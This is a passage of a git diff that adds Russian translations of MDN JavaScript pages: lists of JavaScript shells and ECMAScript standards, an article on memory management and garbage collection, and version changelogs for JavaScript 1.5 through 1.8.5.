+ <li><a href="http://javalikescript.free.fr/">JavaLikeScript</a> - Автономная расширяемая оболочка JavaScript, включающая как нативные библиотеки, так и библиотеки JavaScript.</li>
+ <li><a class="external" href="http://gluescript.sourceforge.net/" title="http://gluescript.sourceforge.net/">GLUEscript</a> - Автономная JavaScript оболочка для создания кросс-платформенных JavaScript приложений. Он может использовать wxWidgets для GUI приложений, и раньше назывался wxJavaScript.</li>
+ <li><a class="external" href="http://jspl.msg.mx/" title="http://jspl.msg.mx/">jspl</a> - Автономная JavaScript оболочка, улучшенная  при помощи Perl. Может использовать модули Perl прямо из JavaScript: DBI для интеграции с базами данных, GTK2 для GUI приложений, POSIX для системного программирования и т.д. Лучший из существующих CPAN для JavaScript программистов.</li>
+ <li><a href="http://shelljs.org/">ShellJS</a> - это портативная реализация команд оболочки Unix поверх API-интерфейса Node.js.</li>
+</ul>
+
+<h2 id="Список_JavaScript_оболочек">Список JavaScript оболочек</h2>
+
+<p>Следующие JavaScript оболочки работают с Mozilla.</p>
+
+<ul>
+ <li>Firefox имеет <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter">встроенную консоль JavaScript</a>, которая поддерживает многострочное редактирование.</li>
+ <li><a href="/En/SpiderMonkey/Introduction_to_the_JavaScript_shell" title="En/SpiderMonkey/Introduction_to_the_JavaScript_shell">JavaScript Shell</a> (<code>js</code>) - Интерпретатор командной строки для JavaScript (необходима собственная сборка Mozilla).</li>
+ <li><a href="/en/XPConnect/xpcshell" title="en/xpcshell">xpcshell</a> — это оболочка с поддержкой <a href="/en/XPConnect" title="en/XPConnect">XPConnect</a> , иногда используется для разработки Mozilla.</li>
+ <li><a href="http://babeljs.io/repl">Babel REPL</a> - это  <a href="https://en.wikipedia.org/wiki/REPL">REPL</a> на основе браузера для экспериментов с будущим JavaScript.</li>
+ <li><a href="http://es6console.com/">ES6Console.com</a> -  консоль JavaScript с открытым исходным кодом для тестирования кода ECMAScript 2015 внутри браузера.</li>
+ <li><a href="http://jsconsole.com/">jsconsole.com</a> -- Консоль JavaScript с открытым исходным кодом с возможностью легко сослаться на конкретное выражение .</li>
+ <li><a class="external" href="http://www.squarefree.com/shell/">JavaScript Shell (web page)</a> - также доступен как часть <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434">Extension Developer's Extension</a></li>
+ <li><a class="external" href="http://www.billyreisinger.com/jash/">Jash: JavaScript Shell</a> - оболочка, основанна на DHTML, которая предоставляет доступ к командной строки веб-страницы.</li>
+ <li><a class="external" href="http://hyperstruct.net/projects/mozrepl">MozRepl</a> - Подключайтесь к Firefox и другим приложениям Mozilla, изучайте и изменяйте их изнутри, пока они работают.</li>
+ <li><a class="external" href="http://www.mouseless.de/index.php?/content/view/18/31/">Execute JS</a> - (больше не поддерживается) Расширение для Firefox, представляющее собой расширенную JavaScript-консоль, в которой можно удобно набирать и выполнять произвольный JavaScript код и изменить функции.</li>
+ <li><a href="https://addons.mozilla.org/addon/159546">xqjs</a> - Простая консоль для Firefox.</li>
+ <li><a class="external" href="http://code.eligrey.com/shell/help.html" title="http://code.eligrey.com/shell/help.html">JavaScript Shell Extended</a> - Модифицированная версия вышеупомянутого шелла с различными улучшениями, такими как поддержка JSON, поддержка последней версии JavaScript и т.д.</li>
+ <li><a class="link-https" href="https://sekhmet.acceleration.net/ADW/JsShellServer/">JavaScript Shell Server</a> - Осуществляет связь через Emacs.</li>
+ <li><a class="external" href="http://rainbow9.org">rainbow9 - JavaScript IDE</a></li>
+ <li><a class="external" href="http://www.croczilla.com/bits_and_pieces/jssh/" title="http://www.croczilla.com/bits_and_pieces/jssh/">JSSh</a> - TCP/IP серверный шелл для Mozilla.</li>
+ <li><a class="external" href="http://blogs.activestate.com/shanec/2008/05/jssh-replacemen.html">SD Connector</a> - Аналогичен JSSh, но полностью написан на JavaScript, поэтому не требует компиляции компонентов.</li>
+</ul>
diff --git a/files/ru/web/javascript/language_resources/index.html b/files/ru/web/javascript/language_resources/index.html
new file mode 100644
index 0000000000..618325a377
--- /dev/null
+++ b/files/ru/web/javascript/language_resources/index.html
@@ -0,0 +1,82 @@
+---
+title: Ресурсы по JavaScript
+slug: Web/JavaScript/Language_Resources
+translation_of: Web/JavaScript/Language_Resources
+---
+<p>{{JsSidebar}}</p>
+
+<p><strong>ECMAScript</strong> это язык программирования лежащий в основе <a href="../../../../en/JavaScript" rel="internal">JavaScript</a>. ECMAScript стандартизирован <strong>в спецификации </strong><strong>ECMA-262, </strong>организацией по стандартам <a class="external" href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">Ecma International</a> . Далее в таблице перечислены утвержденные стандарты ECMAScript:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Имя</th>
+   <th>Ссылка</th>
+   <th>Дата</th>
+   <th>Описание</th>
+  </tr>
+  <tr>
+   <td>ECMA-262</td>
+   <td><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf">PDF</a></td>
+   <td>Июнь1997</td>
+   <td>оригинальный стандарт ECMAScript.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 Edition 2</td>
+   <td><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%202nd%20edition,%20August%201998.pdf">PDF</a></td>
+   <td>Август1998</td>
+   <td>Второе издание стандарта ECMAScript; также стандарт ISO 16262.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 Edition 3</td>
+   <td><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%203rd%20edition,%20December%201999.pdf">PDF</a></td>
+   <td>Декабрь1999</td>
+   <td>Третье издание стандарта ECMAScript; соотвестствует JavaScript 1.5.<br>
+    Смотри также <a class="external" href="http://www.mozilla.org/js/language/E262-3-errata.html">опечатки</a></td>
+  </tr>
+  <tr>
+   <td>ECMA-262 Edition 5</td>
+   <td><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262%205th%20edition%20December%202009.pdf">PDF</a></td>
+   <td>Декабрь 2009</td>
+   <td>ECMAScript 5<br>
+    Смотри также <a class="external" href="http://wiki.ecmascript.org/doku.php?id=es3.1:es3.1_proposal_working_draft">опечатки </a><a class="external" href="http://wiki.ecmascript.org/doku.php?id=es3.1:es3.1_proposal_working_draft">ES5</a> и <a href="/En/JavaScript/ECMAScript_5_support_in_Mozilla" title="en/JavaScript/ECMAScript 5 support in Mozilla">поддержка </a><a href="/En/JavaScript/ECMAScript_5_support_in_Mozilla" title="en/JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5 в Mozilla</a></td>
+  </tr>
+  <tr style="background-color: lightgreen;">
+   <td>ECMA-262 Edition 5.1</td>
+   <td><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a></td>
+   <td>Июнь 2011</td>
+   <td>ECMAScript 5.1, последнее опубликованное издание стандарта.<br>
+    Эта версия полностью совместима с 3й редакцией международного стандарта <a class="external" href="http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=55755">ISO/IEC 16262:2011</a>.<br>
+    Она включает в себя исправления опечаток ES5, и не содержит нововведений.</td>
+  </tr>
+  <tr>
+   <td>ECMA-357</td>
+   <td><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST-WITHDRAWN/ECMA-357,%201st%20edition,%20June%202004.pdf">PDF</a></td>
+   <td>Июнь 2004</td>
+   <td><a href="/en/E4X" title="en/E4X">ECMAScript для XML (E4X)</a>.<br>
+    Смотри также <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=169406">опечатки </a><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=169406">E4X</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Узнать больше о истории ECMAScript можно <a class="external" href="http://en.wikipedia.org/wiki/ECMAScript" title="http://en.wikipedia.org/wiki/ECMAScript">на странице википедии посвященнной ECMAScript</a>.</p>
+
+<p>Вы можете принять участие или просто отслеживать работу над следующей версией стандарта, которая разрабатывается под кодовым названием"Harmony", с помощью публично-доступного вики и <a class="link-https" href="https://mail.mozilla.org/listinfo/es-discuss" title="https://mail.mozilla.org/listinfo/es-discuss">es-discuss список рассылки</a> привязанного к <a class="external" href="http://www.ecmascript.org/community.php" title="http://www.ecmascript.org/community.php">ecmascript.org</a>.</p>
+
+<h2 id="Реализации">Реализации</h2>
+
+<ul>
+ <li><a href="/en/SpiderMonkey" title="en/SpiderMonkey">SpiderMonkey</a> - JavaScript движок используемый в Firefox;</li>
+ <li><a href="/en/Rhino" title="en/Rhino">Rhino</a> - JavaScript движок написанный на Java;</li>
+ <li><a href="/en/Tamarin" title="en/Tamarin">Tamarin</a> - ActionScript виртуальная машина (использованная в Adobe® Flash® Player);</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/List_of_ECMAScript_engines" title="http://en.wikipedia.org/wiki/List_of_ECMAScript_engines">Другие реализации</a>(википедия).</li>
+</ul>
+
+<h3 id="Смотри_также">Смотри также</h3>
+
+<ul>
+ <li><a class="external" href="http://brendaneich.com/" title="http://brendaneich.com/">Блог Брендана Эйка</a>. Брендан создатель JavaScript и движка SpiderMonkey. Он все еще работает с рабочей группой ECMA чтобы развивать язык.</li>
+ <li><a class="external" href="http://dmitrysoshnikov.com/" title="http://dmitrysoshnikov.com/">Дмитрий Сошников анализ ECMA-262 Edition 3 и 5</a></li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/JavaScript_Language_Resources", "pl": "pl/Zasoby_j\u0119zyka_JavaScript" } ) }}</p>
diff --git a/files/ru/web/javascript/memory_management/index.html b/files/ru/web/javascript/memory_management/index.html
new file mode 100644
index 0000000000..bcdf39cd3d
--- /dev/null
+++ b/files/ru/web/javascript/memory_management/index.html
@@ -0,0 +1,178 @@
+---
+title: Управление памятью
+slug: Web/JavaScript/Memory_Management
+translation_of: Web/JavaScript/Memory_Management
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<h2 id="Введение">Введение</h2>
+
+<p>Низкоуровневые языки программирования (например, C) имеют низкоуровневые примитивы для управления памятью, такие как <code>malloc()</code> и <code>free()</code>. В JavaScript же память выделяется динамически при создании сущностей (т.е., объектов, строк и т.п.) и "автоматически" освобождается, когда они больше не используются. Последний процесс называется <em>сборкой мусора</em> . Слово "автоматически" является источником путаницы и зачастую создает у программистов на JavaScript (и других высокоуровневых языках) ложное ощущение, что они могут не заботиться об управлении памятью.</p>
+
+<h2 id="Жизненный_цикл_памяти">Жизненный цикл памяти</h2>
+
+<p>Независимо от языка программирования, жизненный цикл памяти практически всегда один и тот же:</p>
+
+<ol>
+ <li>Выделение необходимой памяти.</li>
+ <li>Её использование (чтение, запись).</li>
+ <li>Освобождение выделенной памяти, когда в ней более нет необходимости.</li>
+</ol>
+
+<p>Первые два пункта осуществляются явным образом (т.е., непосредственно программистом) во всех языках программирования. Третий пункт осуществляется явным образом в низкоуровневых языках, но в большинстве высокоуровневых языков, в том числе и в JavaScript, осуществляется автоматически.</p>
+
+<h3 id="Выделение_памяти_в_JavaScript">Выделение памяти в JavaScript</h3>
+
+<h4 id="Выделение_памяти_при_инициализации_значений_переменных">Выделение памяти при инициализации значений переменных</h4>
+
+<p>Чтобы не утруждать программиста заботой о низкоуровневых операциях выделения памяти, интерпретатор JavaScript динамически выделяет необходимую память при объявлении переменных:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: js notranslate">var n = 123; // выделяет память для типа number
+var s = "azerty"; // выделяет память для типа string
+
+var o = {
+  a: 1,
+  b: null
+}; // выделяет память для типа object и всех его внутренних переменных
+
+var a = [1, null, "abra"]; // (like object) выделяет память для array и его внутренних значений
+
+function f(a){
+  return a + 2;
+} // выделяет память для function (которая представляет собой вызываемый объект)
+
+// функциональные выражения также выделяют память под object
+someElement.addEventListener('click', function(){
+  someElement.style.backgroundColor = 'blue';
+}, false);
+</pre>
+</div>
+
+<h4 id="Выделение_памяти_при_вызовах_функций">Выделение памяти при вызовах функций</h4>
+
+<p>Вызовы некоторых функций также ведут к выделению памяти под объект:</p>
+
+<pre class="brush: js notranslate">var d = new Date();
+var e = document.createElement('div'); // выделяет память под DOM элемент
+</pre>
+
+<p>Некоторые методы выделяют память для новых значений или объектов:</p>
+
+<pre class="brush: js notranslate">var s = "azerty";
+var s2 = s.substr(0, 3); // s2 это новый объект типа string
+// Т.к. строки - это постоянные значения, интерпретатор может решить, что память выделять не нужно, но нужно лишь сохранить диапазон [0, 3].
+
+var a = ["ouais ouais", "nan nan"];
+var a2 = ["generation", "nan nan"];
+var a3 = a.concat(a2); // новый массив с 4 элементами в результате конкатенации элементов 'a' и 'a2'
+</pre>
+
+<h3 id="Использование_значений">Использование значений</h3>
+
+<p>"Использование значений", как правило, означает -  чтение и запись значений из/в выделенной для них области памяти. Это происходит при чтении или записи значения какой-либо переменной, или свойства объекта или даже при передаче аргумента функции.</p>
+
+<h3 id="Освобождение_памяти_когда_она_более_не_нужна">Освобождение памяти, когда она более не нужна</h3>
+
+<p>Именно на этом этапе появляется большинство проблем из области "управления памятью". Наиболее сложной задачей в данном случае является чёткое определение того момента, когда "выделенная память более не нужна". Зачастую программист сам должен определить, что в данном месте программы данная часть памяти более уже не нужна и освободить её.</p>
+
+<p>Интерпретаторы языков высокого уровня снабжаются встроенным программным обеспечением под названием "сборщик мусора", задачей которого является следить за выделением и использованием памяти и при необходимости автоматически освобождать более не нужные участки памяти. Это происходит весьма приблизительно, так как основная проблема точного определения того момента, когда какая-либо часть памяти более не нужна -  <a class="external" href="http://en.wikipedia.org/wiki/Decidability_%28logic%29">неразрешима</a> (т.е., данная проблема не поддаётся однозначному алгоритмическому решению).</p>
+
+<h2 id="Сборка_мусора">Сборка мусора</h2>
+
+<p>Как уже упоминалось выше, проблема точного определения, когда какая-либо часть памяти "более не нужна" - однозначно неразрешима. В результате сборщики мусора решают поставленную задачу лишь частично. В этом разделе мы объясним основополагающие моменты, необходимые для понимания принципа действия основных алгоритмов сборки мусора и их ограничений.</p>
+
+<h3 id="Ссылки">Ссылки</h3>
+
+<p>Большая часть алгоритмов сборки мусора основана на понятии <em>ссылки</em>. В контексте управления памятью объект считается ссылающимся на другой объект, если у первого есть доступ ко второму (неважно - явный или неявный). К примеру, каждый объект JavaScript имеет ссылку на свой <a href="/en/JavaScript/Guide/Inheritance_and_the_prototype_chain" title="en/JavaScript/Guide/Inheritance_and_the_prototype_chain">прототип</a> (неявная ссылка) и ссылки на значения своих полей (явные ссылки).</p>
+
+<p>В данном контексте понятие "объект" понимается несколько шире, нежели для типичных JavaScript-объектов и дополнительно включает в себя понятие областей видимости функций (или глобальной лексической области)</p>
+
+<h3 id="Сборка_мусора_на_основе_подсчёта_ссылок">Сборка мусора на основе подсчёта ссылок</h3>
+
+<p>Это наиболее примитивный алгоритм сборки мусора, сужающий понятие "объект более не нужен" до "для данного объекта более нет ни одного объекта, ссылающегося на него". Объект считается подлежащим уничтожению сборщиком мусора, если количество ссылок на него равно нулю.</p>
+
+<h4 id="Пример">Пример</h4>
+
+<pre class="brush: js notranslate">var o = {
+  a: {
+    b:2
+  }
+}; // создано 2 объекта. Один ссылается на другой как на одно из своих полей.
+// Второй имеет виртуальную ссылку, поскольку присвоен в качестве значения переменной 'o'.
+// Очевидно, что ни один из них не подлежит сборке мусора.
+
+
+var o2 = o; // переменная 'o2' - вторая ссылка на объект
+o = 1; // теперь объект, имевший изначально ссылку на себя из 'o' имеет уникальную ссылку через переменную 'o2'
+
+var oa = o2.a; // ссылка на поле 'a' объекта.
+// Теперь на объект 2 ссылки: одна на его поле и вторая - переменная 'oa'
+
+o2 = "yo"; // Объект, на который изначально ссылалась переменная 'o', теперь имеет ноль ссылок на неё.
+// Может быть уничтожен при сборке мусора.
+// Однако, на его поле 'a' всё ещё ссылается переменная 'oa', так что удалять его ещё нельзя
+
+oa = null; // оригинальное значение поля объекта 'a' в переменной o имеет ноль ссылок на себя.
+// можно уничтожить при сборке мусора.
+</pre>
+
+<h4 id="Ограничение_циклические_ссылки">Ограничение : циклические ссылки</h4>
+
+<p>Основное ограничение данного наивного алгоритма заключается в том, что если два объекта ссылаются друг на друга (создавая таким образом циклическую ссылку), они не могут быть уничтожены сборщиком мусора, даже если "более не нужны".</p>
+
+<pre class="brush: js notranslate">function f(){
+  var o = {};
+  var o2 = {};
+  o.a = o2; // o ссылается на o2
+  o2.a = o; // o2 ссылается на o
+
+  return "azerty";
+}
+
+f();
+</pre>
+
+<p>Создаётся два ссылающихся друг на друга объекта, что порождает циклическую ссылку. Они не будут удалены из области видимости функции после завершения работы этой функции, таким образом, сборщик мусора не сможет их удалить, несмотря на их очевидную ненужность. Так как сборщик мусора считает, что, раз на каждый из объектов существует как минимум одна ссылка, то уничтожать их нельзя.</p>
+
+<h4 id="Пример_из_реальной_жизни">Пример из реальной жизни</h4>
+
+<p>Браузеры Internet Explorer версий 6, 7 имеют сборщик мусора для DOM-объектов, работающий по принципу подсчёта ссылок. Поэтому данные браузеры можно легко принудить к порождению систематических утечек памяти (memory leaks) следующим образом:</p>
+
+<pre class="brush: js notranslate">var div;
+window.onload = function(){
+  div = document.getElementById("myDivElement");
+  div.circularReference = div; // DOM-элемент "myDivElement" получает ссылку на себя
+  div.lotsOfData = new Array(10000).join("*");
+};
+</pre>
+
+<p>DOM-элемент "myDivElement" имеет циклическую ссылку на самого себя в поле "circularReference". Если это свойство не будет явно удалено или установлено в null, сборщик мусора всегда будет определять хотя бы одну ссылку на DOM-элемент, и будет держать DOM-элемент в памяти, даже если DOM-элемент удалят из DOM-дерева. Таким образом, если DOM-элемент содержит много данных (иллюстрируется полем "lotsOfData"), то память, используемая под эти данные, никогда не будет освобождена.</p>
+
+<h3 id="Алгоритм_Mark-and-sweep">Алгоритм "Mark-and-sweep"</h3>
+
+<p>Данный алгоритм сужает понятие "объект более не нужен" до "объект недоступен".</p>
+
+<p>Основывается на понятии о наборе объектов, называемых <em>roots</em> (в JavaScript root'ом является глобальный объект). Сборщик мусора периодически запускается из этих roots, сначала находя все объекты, на которые есть ссылки из roots, затем все объекты, на которые есть ссылки из найденных и так далее. Стартуя из roots, сборщик мусора, таким образом, находит все <em>доступные</em> объекты и уничтожает недоступные.</p>
+
+<p>Данный алгоритм лучше предыдущего, поскольку "ноль ссылок на объект" всегда входит в понятие "объект недоступен". Обратное же - неверно, как мы только что видели выше на примере циклических ссылок.</p>
+
+<p>Начиная с 2012 года, все современные веб-браузеры оснащаются сборщиками мусора, работающими исключительно по принципу mark-and-sweep ("пометь и выброси"). Все усовершенствования в области сборки мусора в интерпретаторах JavaScript (генеалогическая/инкрементальная/конкурентная/параллельная сборка мусора) за последние несколько лет представляют собой усовершенствования данного алгоритма, но не новые алгоритмы сборки мусора, поскольку дальнейшее сужение понятия "объект более не нужен" не представляется возможным.</p>
+
+<h4 id="Теперь_циклические_ссылки_-_не_проблема">Теперь циклические ссылки - не проблема</h4>
+
+<p>В вышеприведённом первом примере после возврата из функции оба объекта не имеют на себя никаких ссылок, доступных из глобального объекта. Соответственно, сборщик мусора пометит их как недоступные и затем удалит.</p>
+
+<p>То же самое касается и второго примера. Как только div и его обработчик станут недоступны из roots, они оба будут уничтожены сборщиком мусора, несмотря на наличие циклических ссылок друг на друга.</p>
+
+<h4 id="Ограничение_некоторые_объекты_нуждаются_в_явном_признаке_недоступности">Ограничение: некоторые объекты нуждаются в явном признаке недоступности</h4>
+
+<p>Хотя этот частный случай и расценивается, как ограничение, но на практике он встречается крайне редко, поэтому, в большинстве случаев, Вам не нужно беспокоиться о сборке мусора.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.ibm.com/developerworks/web/library/wa-memleak/">статья IBM "Шаблоны утечек памяти в JavaScript" (2007)</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/magazine/ff728624.aspx">статья Kangax о том, как правильно регистрировать обработчики событий для предотвращения утечек памяти (2010)</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance" title="https://wiki.mozilla.org/Performance:Leak_Tools">Performance</a></li>
+</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/1.5/index.html b/files/ru/web/javascript/new_in_javascript/1.5/index.html
new file mode 100644
index 0000000000..a27746c51b
--- /dev/null
+++ b/files/ru/web/javascript/new_in_javascript/1.5/index.html
@@ -0,0 +1,37 @@
+---
+title: Новое в JavaScript 1.5
+slug: Web/JavaScript/New_in_JavaScript/1.5
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Следующий список описывает изменения в JavaScript 1.5. Эта версия была включена в Netscape Navigator 6.0, дата релиза которого – 14 ноября 2000 года. Также Javascript 1.5 использовался в более поздних версиях Netscape Navigator, а также Firefox 1.0.  JavaScript 1.5 соответствует JScript версии 5.5 используемой в Internet Explorer 5.5, который был представлен в июле 2000. Соответствующая версия стандарта ECMA – ECMA-262 третьей редакции (от декабря 1999 года).</p>
+
+<h2 id="Новое_в_JavaScript_1.5">Новое в JavaScript 1.5</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Number/toExponential"><code>Number.prototype.toExponential()</code></a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed"><code>Number.prototype.toFixed()</code></a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Number/toPrecision"><code>Number.prototype.toPrecision()</code></a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a></li>
+ <li>Поддержка множественных <code>catch</code> в блоке <a href="/ru/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a>.</li>
+ <li>Добавлена возможность определения геттеров и сеттеров для объектов.</li>
+</ul>
+
+<h2 id="Что_изменилось_в_JavaScript_1.5">Что изменилось в JavaScript 1.5</h2>
+
+<ul>
+ <li>Об ошибках выполнения сообщается в виде исключений.</li>
+ <li>Изменения в регулярных выражениях:
+  <ul>
+   <li>Кванторы  <code>+</code>, <code>*</code>, <code>?</code> и <code>{}</code> теперь могут сопровождаться <code>?</code> для того, чтобы показать, что они не являются "жадными".</li>
+   <li>Поддержка группировки без обратной связи, <code>(?:x)</code> может быть использован вместо обычной группировки, <code>(x)</code>. Когда используется группировка без обратной связи, найденные подстроки недоступны для дальнейшего использования.</li>
+   <li>Поддержка позитивного и негативного просмотра. Доступен поиск подстроки, исходя из того, какой текст окружает искомую подстроку.</li>
+   <li>Поддержка флага <code>m </code>для реализации многострочного поиска.</li>
+  </ul>
+ </li>
+ <li>Функции теперь могут быть объявлены внутри условия if.</li>
+ <li>
+  <p>Функции теперь могут быть объявлены внутри выражения.</p>
+ </li>
+</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/1.6/index.html b/files/ru/web/javascript/new_in_javascript/1.6/index.html
new file mode 100644
index 0000000000..252db0756e
--- /dev/null
+++ b/files/ru/web/javascript/new_in_javascript/1.6/index.html
@@ -0,0 +1,32 @@
+---
+title: Новое в JavaScript 1.6
+slug: Web/JavaScript/New_in_JavaScript/1.6
+tags:
+  - JavaScript
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.6
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>The following is a changelog for JavaScript 1.6. This version was included in Firefox 1.5 (Gecko 1.8), which was released in November 2005. The corresponding ECMA standard is ECMA-262 Edition 3 and ECMAScript for XML (E4X) with some additional features. Several new features were introduced: E4X, several new <code>Array</code> methods, and Array and String generics.</p>
+
+<h2 id="New_features_in_JavaScript_1.6">New features in JavaScript 1.6</h2>
+
+<ul>
+ <li>Support for ECMAScript for XML (<a href="/en-US/docs/Archive/Web/E4X" title="E4X">E4X</a>) for creating and processing <a href="/en-US/docs/Glossary/XML" title="XML">XML</a> content within <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a> has been added. See <a href="/en-US/docs/Archive/Web/E4X/Processing_XML_with_E4X" title="E4X/Processing_XML_with_E4X">Processing XML with E4X</a> for details.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf"><code>Array.prototype.indexOf()</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf"><code>Array.prototype.lastIndexof()</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every"><code>Array.prototype.every()</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter"><code>Array.prototype.filter()</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach"><code>Array.prototype.forEach()</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map"><code>Array.prototype.map()</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some"><code>Array.prototype.some()</code></a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array#Array_generic_methods" title="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array#Array_generics">Array generics</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#String_generic_methods" title="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String#String_generics">String generics</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for_each...in"><code>for each...in</code></a></li>
+</ul>
+
+<h2 id="Changed_functionality_in_JavaScript_1.6">Changed functionality in JavaScript 1.6</h2>
+
+<ul>
+ <li>A <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=292215">bug</a> in which <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments[n]</code></a> cannot be set if <code>n</code> is greater than the number of formal or actual parameters has been fixed.</li>
+</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/1.8.1/index.html b/files/ru/web/javascript/new_in_javascript/1.8.1/index.html
new file mode 100644
index 0000000000..eeceb235b3
--- /dev/null
+++ b/files/ru/web/javascript/new_in_javascript/1.8.1/index.html
@@ -0,0 +1,31 @@
+---
+title: Новое в JavaScript 1.8.1
+slug: Web/JavaScript/New_in_JavaScript/1.8.1
+tags:
+  - Firefox 3.5
+  - JavaScript
+  - Версии
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.1
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Ниже приведен список изменений в JavaScript 1.8.1. Эта версия включена в <a href="/en-US/Firefox/Releases/3.5">Firefox 3.5</a>.</p>
+
+<p>JavaScript 1.8.1 это скромное обновление синтаксиса на JavaScript; главным изменением является добавление <a href="/en-US/docs/SpiderMonkey/Internals/Tracing_JIT" title="SpiderMonkey/Internals/Tracing JIT">Tracemonkey just-in-time compiler</a>, которое повышает производительность.</p>
+
+<h2 id="Новшества_в_JavaScript_1.8.1">Новшества в JavaScript 1.8.1</h2>
+
+<ul>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_native_JSON">Support for native JSON</a></li>
+ <li>{{jsxref("String.prototype.trim()")}}</li>
+ <li>{{jsxref("String.prototype.trimLeft()")}}</li>
+ <li>{{jsxref("String.prototype.trimRight()")}}</li>
+ <li>{{jsxref("String.prototype.startsWith()")}}</li>
+</ul>
+
+<h2 id="Измененные_функции_в_JavaScript_1.8.1">Измененные функции в JavaScript 1.8.1</h2>
+
+<ul>
+ <li>Неявные настройки свойств объекта и массив инициализаторов больше не исполняет сеттеры в JavaScript. Это делает поведение сеттеров более предсказуемым.</li>
+</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/1.8.5/index.html b/files/ru/web/javascript/new_in_javascript/1.8.5/index.html
new file mode 100644
index 0000000000..ab6a9d4ce3
--- /dev/null
+++ b/files/ru/web/javascript/new_in_javascript/1.8.5/index.html
@@ -0,0 +1,122 @@
+---
+title: Новое в JavaScript 1.8.5
+slug: Web/JavaScript/New_in_JavaScript/1.8.5
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Далее приведён список изменений в JavaScript 1.8.5. Эта версия была включена в <a href="/en-US/Firefox/Releases/4">Firefox 4</a>.</p>
+
+<h2 id="Что_нового_в_JavaScript_1.8.5">Что нового в JavaScript 1.8.5</h2>
+
+<h3 id="Новые_функции">Новые функции</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Функция</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create" title="JavaScript/Reference/Global Objects/Object/Create">Object.create()</a></code></td>
+   <td>Создаёт новый обЪект с указанным прототипом и свойствами. {{bug("492840")}}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty" title="JavaScript/Reference/Global Objects/Object/DefineProperty">Object.defineProperty()</a></code></td>
+   <td>Добавляет свойство с переданным дескриптором к объекту.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties" title="JavaScript/Reference/Global Objects/Object/DefineProperties">Object.defineProperties()</a></code></td>
+   <td>Добавляет свойства с переданными дескрипторами к объекту.</td>
+  </tr>
+  <tr>
